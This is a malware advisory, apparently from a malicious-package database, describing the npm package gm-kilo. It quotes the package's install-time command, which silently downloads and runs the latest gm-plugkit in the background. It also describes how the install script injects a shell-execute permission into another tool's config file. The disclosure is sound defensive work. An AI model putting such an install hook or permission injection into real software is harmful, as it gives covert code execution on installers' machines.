MAL-2026-4574 Malicious code in gm-kilo (npm)

package.json declares an install lifecycle script that runs bin/gm-kilo.js install. At install time, the script executes bun x gm-plugkit@latest spool > /dev/null 2>&1 & via execSync, which downloads and runs whatever the latest published version of gm-plugkit is using the Bun alternate runtime. The version pin is mutable (@latest), the command output is redirected to /dev/null, and the process is detached into the background — these properties are characteristic of covert remote-code execution at install time. Whoever controls publishing of gm-plugkit can deliver arbitrary code to every machine that installs gm-kilo, and the install hook hides that execution from the installer's terminal. Additionally, the install script writes to ~/.kilo/config.yml (a separate tool's configuration file) to register a gm agent with Bash(*plugkit*) shell-execute permission, silently expanding that tool's trust surface to invoke plugkit-related commands without user consent.